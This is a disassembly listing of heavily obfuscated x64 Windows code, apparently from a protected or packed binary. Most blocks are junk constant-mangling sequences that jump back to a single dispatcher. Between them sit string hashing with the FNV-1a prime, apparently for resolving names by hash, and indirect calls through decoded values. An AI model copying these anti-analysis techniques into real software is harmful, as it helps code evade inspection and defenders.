xor eax, 0xb8026b31
rol eax, 0xed
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x216e6f07
pushf
not eax
add eax, 0x9fe3def9
xor eax, 0xf2f27c29
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xf0ce5af1
xor eax, 0xedf3cf06
rol eax, 0x11
popf
pushf
not eax
add eax, 0xdb83be8c
xor eax, 0xceb7974a
rol eax, 0xf5
popf
jmp 0x1400d3f9c
lea rax, [r15 + rdi]
cmp r10, rax
jae 0x1400d6ccc
push rax
pushf
mov eax, 0x485e520f
pushf
not eax
add eax, 0x9ded8352
xor eax, 0xc23d2b86
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xf9b16291
xor eax, 0xe307afbf
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xf16163de
xor eax, 0xa35f1820
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xf149148b
xor eax, 0xb7f8a4d1
rol eax, 0x78
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xe0d5fd1e
pushf
not eax
add eax, 0xa4b69465
xor eax, 0xa12bcb06
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xb7cf2db8
xor eax, 0xb0cd8ba4
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xf1a9ff63
xor eax, 0xe3ac4694
rol eax, 0xba
popf
pushf
not eax
add eax, 0xb83b293c
xor eax, 0xd1269e67
rol eax, 0xde
popf
jmp 0x1400d3f9c
mov ebx, 0xf33b325c
pushf
not ebx
add ebx, 0xed71d749
xor ebx, 0xf5b15d82
rol ebx, 0xba
popf
pushf
not ebx
add ebx, 0xb8af17cc
xor ebx, 0xd74c8573
rol ebx, 0x15
popf
mov r11d, ebx
movzx eax, byte [r10]
cmp al, 0x2e
je 0x1400d6db8
push rax
pushf
mov eax, 0x4ffcd95b
pushf
not eax
add eax, 0xbec27c32
xor eax, 0x80d3306b
rol eax, 0x55
popf
pushf
not eax
add eax, 0xbe25679b
xor eax, 0x84a70db9
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x9cd6ca07
xor eax, 0x8e525e76
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xbae46742
xor eax, 0xccb73c93
rol eax, 0x78
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x895132e9
pushf
not eax
add eax, 0x87b38bac
xor eax, 0x93d787b0
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xe87fb192
xor eax, 0x9525b3e5
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xb9bbc2b1
xor eax, 0xbae75610
rol eax, 0xfb
popf
jmp 0x1400d3f9c
nop dword [rax + rax]
push rax
pushf
mov eax, 0x546a9b21
pushf
not eax
add eax, 0x9c8d2007
xor eax, 0xf9137446
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xa70cb26b
xor eax, 0xd905769b
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x898426a2
xor eax, 0xde5959ee
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x9b768de5
xor eax, 0xf5908fbd
rol eax, 0x1d
popf
jmp 0x1400d3f9c
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc r10
movzx eax, byte [r10]
cmp al, 0x2e
jne 0x1400d6ea5
push rax
pushf
mov eax, 0x2f108403
pushf
not eax
add eax, 0xc78c6537
xor eax, 0x912b88fa
rol eax, 0xee
popf
pushf
not eax
add eax, 0xb90a1263
xor eax, 0x9e97d84e
rol eax, 0x9b
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xdbfc187b
pushf
not eax
add eax, 0x8d2c7c9c
xor eax, 0x99809b52
rol eax, 0x84
popf
pushf
not eax
add eax, 0xd9a2dd4a
xor eax, 0xf84dda1b
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x8a03321c
xor eax, 0xa548383a
rol eax, 0x6e
popf
jmp 0x1400d3f9c
inc r10
movzx eax, byte [r10]
test al, al
je 0x1400d6f3c
push rax
pushf
mov eax, 0x8edd70b8
pushf
not eax
add eax, 0xc551fa19
xor eax, 0xa1542e15
rol eax, 0x70
popf
pushf
not eax
add eax, 0xa929a8db
xor eax, 0x9f67382a
rol eax, 0x48
popf
pushf
not eax
add eax, 0xd475ce0d
xor eax, 0xc14c3d7e
rol eax, 0x42
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x7b4ee4ca
pushf
not eax
add eax, 0xdd6c1188
xor eax, 0xc10ea4e2
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xcc5e7106
xor eax, 0xc7fbfffb
rol eax, 0x26
popf
jmp 0x1400d3f9c
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
lea r10, [r10 + 1]
movzx eax, byte [r10]
test al, al
jne 0x1400d6fce
push rax
pushf
mov eax, 0x3b7497da
pushf
not eax
add eax, 0xe184c301
xor eax, 0xda8c67cc
rol eax, 0x37
popf
pushf
not eax
add eax, 0xdbf45516
xor eax, 0xb2622caf
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xbf50a896
xor eax, 0xb24765f1
rol eax, 0x30
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x1696ea9e
pushf
not eax
add eax, 0xb198b223
xor eax, 0xf23459ee
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xa928321c
xor eax, 0x8036258c
rol eax, 0x12
popf
pushf
not eax
add eax, 0xec767c94
xor eax, 0xf75441a4
rol eax, 0x8a
popf
jmp 0x1400d3f9c
mov rsi, qword [r12]
push rax
pushf
mov eax, 0x68bf2406
pushf
not eax
add eax, 0xfd89e8a2
xor eax, 0xcb073f6e
rol eax, 0x66
popf
pushf
not eax
add eax, 0xe2b2840e
xor eax, 0xef37d6b6
rol eax, 0x54
popf
jmp 0x1400d3f9c
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x1400d70af
push rax
pushf
mov eax, 0x98940d99
pushf
not eax
add eax, 0x949c45c9
xor eax, 0xe5f12557
rol eax, 0
popf
pushf
not eax
add eax, 0xb1f9c178
xor eax, 0x8c2a62db
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x9bc94803
xor eax, 0x8e3664c4
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xf9a3f980
xor eax, 0xa6b5599c
rol eax, 0xfa
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xe35f9c0e
pushf
not eax
add eax, 0xec5dbe57
xor eax, 0xe6e51c51
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x9f78571c
xor eax, 0xc49b87ab
rol eax, 0xce
popf
jmp 0x1400d3f9c
cmp qword [rax + 0x30], 0
jne 0x1400d7120
push rax
pushf
mov eax, 0x9e041d5e
pushf
not eax
add eax, 0xc910b8fd
xor eax, 0xb7c378ca
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xe3d2749a
xor eax, 0xbbe0ca5a
rol eax, 0x82
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x1c07c6b3
pushf
not eax
add eax, 0xe3e6a49c
xor eax, 0xbd2c3369
rol eax, 0x79
popf
pushf
not eax
add eax, 0x9bab7f90
xor eax, 0x98b59b52
rol eax, 0x1c
popf
jmp 0x1400d3f9c
xor r14d, r14d
mov r10d, r14d
mov qword [0x1400403b0], r10
mov rbx, qword [rsp + 0x78]
push rax
pushf
mov eax, 0xcf1ca99d
pushf
not eax
add eax, 0x821e9845
xor eax, 0xadcc098a
rol eax, 0x54
popf
pushf
not eax
add eax, 0x8fd749a6
xor eax, 0xa8b5074a
rol eax, 6
popf
pushf
not eax
add eax, 0x978e7b62
xor eax, 0xab7797f0
rol eax, 0x64
popf
jmp 0x1400d3f9c
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
xor r9d, r9d
mov r8d, 0x38e2b322
pushf
not r8d
add r8d, 0xd73bdc9c
xor r8d, 0xa7a91872
rol r8d, 0xe7
popf
pushf
not r8d
add r8d, 0x9c166120
xor r8d, 0xfeeaa8e4
rol r8d, 0x83
popf
pushf
not r8d
add r8d, 0xe167e23a
xor r8d, 0xf8a046ff
rol r8d, 0x7c
popf
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0xc040]
mov rcx, qword [rax + 0x198]
call r10
movsxd rdi, eax
mov r8, rdi
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x40]
call fcn.1400edcc3
nop
mov rax, qword [rsp + 0x50]
lea rcx, [rax - 5]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r14
cmp rax, rcx
jb 0x1400d728f
push rax
pushf
mov eax, 0xa25d7d32
pushf
not eax
add eax, 0xc1e8fe18
xor eax, 0xcae05ad8
rol eax, 0x42
popf
pushf
not eax
add eax, 0xe1e8d5b0
xor eax, 0x8c39feb8
rol eax, 0xf7
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xc4aa5b8a
pushf
not eax
add eax, 0xb911721f
xor eax, 0xf44a06be
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xffd4e25a
xor eax, 0xea54d715
rol eax, 0xa
popf
jmp 0x1400d3f9c
sub rax, rcx
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
lea rcx, [rbp - 0x60]
call fcn.1400edcc3
lea rcx, [0x18da721e0]
pushf
sub rcx, 0x4da402c4
popf
call fcn.1400690ef
lea rcx, [rbp - 0x60]
mov r15, qword [rbp - 0x48]
cmp r15, 0xf
seta r12b
mov rsi, qword [rbp - 0x60]
cmova rcx, rsi
mov r8, qword [rbp - 0x50]
cmp r8, rax
jne 0x1400d7377
push rax
pushf
mov eax, 0x88571b64
pushf
not eax
add eax, 0xe2b4c80a
xor eax, 0xd53abafd
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x94382ff0
xor eax, 0xcdf059a5
rol eax, 0x39
popf
pushf
not eax
add eax, 0xab6836c9
xor eax, 0x8d2a187f
rol eax, 0xf
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x9cd7f649
pushf
not eax
add eax, 0xab389234
xor eax, 0xcd1e4503
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xea219db3
xor eax, 0xcdaec72a
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xbed7084d
xor eax, 0x9662f52e
rol eax, 0x90
popf
pushf
not eax
add eax, 0xdd7b0013
xor eax, 0xbac00235
rol eax, 0x4e
popf
jmp 0x1400d3f9c
lea rdx, [0x1a25f0b4e]
pushf
sub rdx, 0x625bec32
popf
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400d7444
push rax
pushf
mov eax, 0xb5a1fa25
pushf
not eax
add eax, 0xa9493c24
xor eax, 0xec853071
rol eax, 0x19
popf
pushf
not eax
add eax, 0x9a166cf1
xor eax, 0xc4f023a1
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xf0d9ec1c
xor eax, 0xf88dde0f
rol eax, 3
popf
pushf
not eax
add eax, 0xd05e09aa
xor eax, 0x803da1fd
rol eax, 0x3a
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x8eb3c2d8
pushf
not eax
add eax, 0xfff17f12
xor eax, 0xddc457d2
rol eax, 6
popf
pushf
not eax
add eax, 0xad7971f2
xor eax, 0x8523ac91
rol eax, 0x62
popf
pushf
not eax
add eax, 0xdc9e1f36
xor eax, 0xd23fe085
rol eax, 0x85
popf
pushf
not eax
add eax, 0xb050c031
xor eax, 0xcd35f5b1
rol eax, 0x12
popf
jmp 0x1400d3f9c
mov r14b, 0x77
pushf
not r14b
add r14b, 0x78
xor r14b, 0x9b
rol r14b, 0xae
popf
pushf
not r14b
add r14b, 0x8e
xor r14b, 0x53
rol r14b, 0xbe
popf
pushf
not r14b
add r14b, 0xe8
xor r14b, 0xf7
rol r14b, 0x39
popf
pushf
not r14b
add r14b, 0xf6
xor r14b, 0x3a
rol r14b, 0x80
popf
jmp 0x1400d75f4
xor r14d, r14d
jmp 0x1400d7159
xor r14b, r14b
push rax
pushf
mov eax, 0x1c472023
pushf
not eax
add eax, 0xc6b8348e
xor eax, 0xace8769b
rol eax, 0x15
popf
pushf
not eax
add eax, 0xdf333c70
xor eax, 0xf173366a
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x9107d42d
xor eax, 0xba5779dd
rol eax, 0xa8
popf
pushf
not eax
add eax, 0x97979dff
xor eax, 0xeac60368
rol eax, 0x20
popf
jmp 0x1400d3f9c
test r12b, r12b
je 0x1400d763f
push rax
pushf
mov eax, 0x69273eec
pushf
not eax
add eax, 0x87a1eef3
xor eax, 0xaa6e2ffa
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xa013e9ef
xor eax, 0x871ffa6f
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x9a88d75d
xor eax, 0xbf13bf42
rol eax, 0x2b
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xc6afb0ea
pushf
not eax
add eax, 0xd7243c0f
xor eax, 0xc11e9e56
rol eax, 0x76
popf
pushf
not eax
add eax, 0xec72ba78
xor eax, 0x85fe5ff2
rol eax, 0x4b
popf
jmp 0x1400d3f9c
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400d76db
push rax
pushf
mov eax, 0xf3910fd0
pushf
not eax
add eax, 0x9e9c7852
xor eax, 0xb1880e6b
rol eax, 0x22
popf
pushf
not eax
add eax, 0xa3db492c
xor eax, 0xff6387e0
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x821b1365
xor eax, 0x815dd693
rol eax, 0x59
popf
pushf
not eax
add eax, 0xceb650dc
xor eax, 0xf679fedb
rol eax, 0xab
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x3256ff14
pushf
not eax
add eax, 0xf3c3514c
xor eax, 0xa30a01e4
rol eax, 0xed
popf
pushf
not eax
add eax, 0xbabeeea9
xor eax, 0xfa64825c
rol eax, 0x6b
popf
jmp 0x1400d3f9c
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400d7780
push rax
pushf
mov eax, 0xebaf0f6c
pushf
not eax
add eax, 0xb0c8c377
xor eax, 0xd1d24289
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xc8465ebc
xor eax, 0xf4955cb8
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x84eb8925
xor eax, 0xa64bc10e
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xe25793ce
xor eax, 0x9240f815
rol eax, 0x78
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x5f84269e
pushf
not eax
add eax, 0x99226dca
xor eax, 0x87228978
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xe429ffaa
xor eax, 0x926ca57a
rol eax, 0x51
popf
pushf
not eax
add eax, 0xeb7cc433
xor eax, 0xa9eea661
rol eax, 0x97
popf
pushf
not eax
add eax, 0xd125dbb2
xor eax, 0xb58b5664
rol eax, 0x5f
popf
jmp 0x1400d3f9c
mov rcx, rsi
call fcn.1400ae516
push rax
pushf
mov eax, 0x62df9704
pushf
not eax
add eax, 0x9bb5c3c0
xor eax, 0xa96e919b
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xf40b1b62
xor eax, 0x85c87f95
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xf5e93aa3
xor eax, 0xee9323ab
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xd6b81262
xor eax, 0x94b21a5c
rol eax, 0x16
popf
jmp 0x1400d3f9c
mov rcx, qword [rsp + 0x70]
mov rax, rbx
sub rax, rcx
test r14b, r14b
jne 0x1400d78a7
push rax
pushf
mov eax, 0x63080e50
pushf
not eax
add eax, 0xf6ce73b5
xor eax, 0xa56b765f
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xffc0de99
xor eax, 0xfb9e443e
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xf7d6e86e
xor eax, 0xec5ca796
rol eax, 0xed
popf
pushf
not eax
add eax, 0xec22ef58
xor eax, 0x80cfe8ad
rol eax, 0x73
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xc5bc88b4
pushf
not eax
add eax, 0xb320f0a4
xor eax, 0xc0f192c5
rol eax, 0x57
popf
pushf
not eax
add eax, 0xb90412ae
xor eax, 0xc3ed47b1
rol eax, 0xe5
popf
jmp 0x1400d3f9c
cmp rdi, rax
ja 0x1400d7925
push rax
pushf
mov eax, 0xfb64efdf
pushf
not eax
add eax, 0xc5c4b6bb
xor eax, 0xc13edc43
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xd058eb31
xor eax, 0xbf404b21
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xcb40ff45
xor eax, 0x9cd8a568
rol eax, 0xbf
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x8f089d48
pushf
not eax
add eax, 0xd1411966
xor eax, 0xeba077cb
rol eax, 0x76
popf
pushf
not eax
add eax, 0xdcb19ff1
xor eax, 0xa4656c2f
rol eax, 0x98
popf
pushf
not eax
add eax, 0xa40240b2
xor eax, 0xe7eede5c
rol eax, 0x6c
popf
jmp 0x1400d3f9c
lea rax, [rcx + rdi]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rbx, 0xf
cmova rax, qword [rsp + 0x60]
lea rbx, [rax + rcx]
mov r8, rdi
lea rdx, [rbp - 0x10]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], r14b
jmp 0x1400d7a42
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x10]
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.1400c63d3
nop
push rax
pushf
mov eax, 0x3d70ce21
pushf
not eax
add eax, 0xbe408950
xor eax, 0xc7142f1c
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xe3b58586
xor eax, 0xa787cdeb
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xa0e5476d
xor eax, 0xcaf8d493
rol eax, 0xc5
popf
jmp 0x1400d3f9c
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
ja 0x1400d7a93
push rax
pushf
mov eax, 0xbedc69c9
pushf
not eax
add eax, 0xc0695a90
xor eax, 0xe5c1d92b
rol eax, 9
popf
pushf
not eax
add eax, 0x96926ed1
xor eax, 0x9fe39e3a
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xdc3555ec
xor eax, 0xc9166da9
rol eax, 0xc1
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x477710af
pushf
not eax
add eax, 0x97f2e3f5
xor eax, 0xa224c615
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xdc524902
xor eax, 0xeaa5da8d
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xb5b1ecf5
xor eax, 0x89776c9f
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xea870e75
xor eax, 0x835d0858
rol eax, 0x2c
popf
jmp 0x1400d3f9c
mov rbx, qword [rsp + 0x78]
xor r14d, r14d
jmp 0x1400d61df
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d7bbf
push rax
pushf
mov eax, 0x1e6bf146
pushf
not eax
add eax, 0xda3e1ff8
xor eax, 0xf55aee5e
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x9d2ea9c4
xor eax, 0xc45bfae9
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xe1cf8f9e
xor eax, 0xd3bccf36
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x8761e35c
xor eax, 0xaf392109
rol eax, 0x6a
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x5b61049a
pushf
not eax
add eax, 0x9d3e5b83
xor eax, 0x83dc9656
rol eax, 0x44
popf
pushf
not eax
add eax, 0xffdcc0dd
xor eax, 0xef181b30
rol eax, 0x11
popf
pushf
not eax
add eax, 0xdcd73ae6
xor eax, 0xad46838c
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xe577b243
xor eax, 0xce937e3e
rol eax, 0x10
popf
jmp 0x1400d3f9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400d7c77
push rax
pushf
mov eax, 0x13e7840e
pushf
not eax
add eax, 0x85a77f9e
xor eax, 0xbb27561e
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xec0abe7a
xor eax, 0x91543e68
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xfe6afed8
xor eax, 0xd27caac3
rol eax, 0xb9
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x9bef431d
pushf
not eax
add eax, 0x8d95b7d6
xor eax, 0xdfc6fc26
rol eax, 0x73
popf
pushf
not eax
add eax, 0xd4059219
xor eax, 0xadfc1553
rol eax, 0x34
popf
pushf
not eax
add eax, 0xe25fa855
xor eax, 0xdb8739d6
rol eax, 0xda
popf
pushf
not eax
add eax, 0xf7936ffd
xor eax, 0xeb9bc6fc
rol eax, 0x90
popf
jmp 0x1400d3f9c
call fcn.1400ae516
mov rbx, qword [rsp + 0x78]
xor r14d, r14d
jmp 0x1400d61df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
add rdi, 0xfffffffffffffffb
cmp rdi, rax
ja 0x1400d7dd8
push rax
pushf
mov eax, 0x724a1594
pushf
not eax
add eax, 0xf86973c8
xor eax, 0xe93057aa
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xd0c78a08
xor eax, 0xd6d6a6a2
rol eax, 0xd4
popf
pushf
not eax
add eax, 0x9aecf3d1
xor eax, 0xffebd456
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x941f4c5c
xor eax, 0xbd783648
rol eax, 0x95
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x76064f0
pushf
not eax
add eax, 0xf09125ec
xor eax, 0xfe3f5001
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xc47e6d4a
xor eax, 0xf20792fe
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xf2232717
xor eax, 0x80dc0816
rol eax, 0x62
popf
pushf
not eax
add eax, 0x9888d522
xor eax, 0xe5a1c9f2
rol eax, 0x2a
popf
jmp 0x1400d3f9c
lea rax, [rcx + rdi]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
cmp rbx, 0xf
cmova rax, qword [rsp + 0x60]
lea rbx, [rax + rcx]
mov r8, rdi
lea rdx, [rbp - 0x10]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x1400d7edf
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x10]
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.1400c63d3
nop
push rax
pushf
mov eax, 0xd690f63a
pushf
not eax
add eax, 0xea952902
xor eax, 0xe60f7f9f
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xbb042b14
xor eax, 0xe4c7a86f
rol eax, 0xa1
popf
jmp 0x1400d3f9c
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400d7f30
push rax
pushf
mov eax, 0xd6793b01
pushf
not eax
add eax, 0xdc35ded9
xor eax, 0x81e94bcb
rol eax, 0xa
popf
pushf
not eax
add eax, 0xdec3cae1
xor eax, 0xa24aaeae
rol eax, 0x79
popf
pushf
not eax
add eax, 0xa6f99b95
xor eax, 0xe4aef7a8
rol eax, 0xb9
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x6fb202e7
pushf
not eax
add eax, 0xdfbe17e2
xor eax, 0xfb88a792
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xda80d5f4
xor eax, 0xe316415d
rol eax, 0x19
popf
pushf
not eax
add eax, 0xe1ce66e4
xor eax, 0xb1d16ddf
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xeb22e2e2
xor eax, 0x8999004f
rol eax, 0x36
popf
jmp 0x1400d3f9c
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d7fe3
push rax
pushf
mov eax, 0x5bc94707
pushf
not eax
add eax, 0x8ddd6cbc
xor eax, 0x901eed7d
rol eax, 0x68
popf
pushf
not eax
add eax, 0xd8da30a9
xor eax, 0xad248035
rol eax, 2
popf
pushf
not eax
add eax, 0x9088cf1b
xor eax, 0x87b1324c
rol eax, 0x26
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x5cf2ec8b
pushf
not eax
add eax, 0xea856f3d
xor eax, 0xbbabe56f
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xc2390d27
xor eax, 0xa1258302
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xfd2c7d2d
xor eax, 0xfd7481fe
rol eax, 0x7c
popf
jmp 0x1400d3f9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d8097
push rax
pushf
mov eax, 0x36a578c7
pushf
not eax
add eax, 0x93ef645e
xor eax, 0xea89b56c
rol eax, 0x63
popf
pushf
not eax
add eax, 0xa2aced99
xor eax, 0x8b02662d
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x912d8b78
xor eax, 0x9eb14072
rol eax, 7
popf
pushf
not eax
add eax, 0xb47af4fc
xor eax, 0xad4d15c6
rol eax, 0x43
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xc40d372e
pushf
not eax
add eax, 0xa966dcf6
xor eax, 0xf1b959f8
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xa23ea39d
xor eax, 0xd1d1bc14
rol eax, 0x39
popf
pushf
not eax
add eax, 0xf1dd20b9
xor eax, 0xe379f19e
rol eax, 0x42
popf
jmp 0x1400d3f9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ae516
push rax
pushf
mov eax, 0xc6c57ff6
pushf
not eax
add eax, 0xc974504f
xor eax, 0xcea5f5a1
rol eax, 0xce
popf
pushf
not eax
add eax, 0xf4b7aa03
xor eax, 0xc6558875
rol eax, 9
popf
pushf
not eax
add eax, 0x831b1e0a
xor eax, 0xa99cfa2f
rol eax, 0xd7
popf
jmp 0x1400d3f9c
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.1400f3112
mov rdx, rax
mov rbx, qword [rbp + 0xc048]
mov rcx, rbx
call fcn.1401284cb
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400d81e8
push rax
pushf
mov eax, 0x7635ed36
pushf
not eax
add eax, 0x9c4cf833
xor eax, 0xb2364c80
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xa001ca88
xor eax, 0xff9d44fc
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xab34fe81
xor eax, 0xacf006c7
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x857f5454
xor eax, 0x8c62e7f9
rol eax, 0x95
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0x27679f2b
pushf
not eax
add eax, 0x9f2d0df4
xor eax, 0xe09e8042
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x903616cd
xor eax, 0xa1ab6531
rol eax, 0x9a
popf
jmp 0x1400d3f9c
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d8288
push rax
pushf
mov eax, 0xf3ea5ba7
pushf
not eax
add eax, 0xe0578fc1
xor eax, 0xb29e445a
rol eax, 0xff
popf
pushf
not eax
add eax, 0x95480638
xor eax, 0xe73f45ff
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x83416a94
xor eax, 0x846b6f60
rol eax, 0xec
popf
pushf
not eax
add eax, 0xcf6e15d9
xor eax, 0x874cd701
rol eax, 0x3b
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xadd08aa5
pushf
not eax
add eax, 0xdd021703
xor eax, 0xf1c9977f
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x86c1829d
xor eax, 0xe469c743
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xdc02d73d
xor eax, 0xdded957e
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xaa550c0a
xor eax, 0xdd901b20
rol eax, 0xa2
popf
jmp 0x1400d3f9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d834f
push rax
pushf
mov eax, 0xb10f623d
pushf
not eax
add eax, 0x9d9db1a3
xor eax, 0xbb50db47
rol eax, 0xce
popf
pushf
not eax
add eax, 0xc3156c2c
xor eax, 0x95c9b8c2
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xc0a76f16
xor eax, 0xce9e3c77
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x94f7ffc9
xor eax, 0xb5ccaad9
rol eax, 0xee
popf
jmp 0x1400d3f9c
push rax
pushf
mov eax, 0xfb844608
pushf
not eax
add eax, 0x9c98b35d
xor eax, 0xbba7a445
rol eax, 0x60
popf
pushf
not eax
add eax, 0xa49d705e
xor eax, 0x9e65fd2d
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xe4759ff3
xor eax, 0xdbb9551f
rol eax, 0x58
popf
jmp 0x1400d3f9c
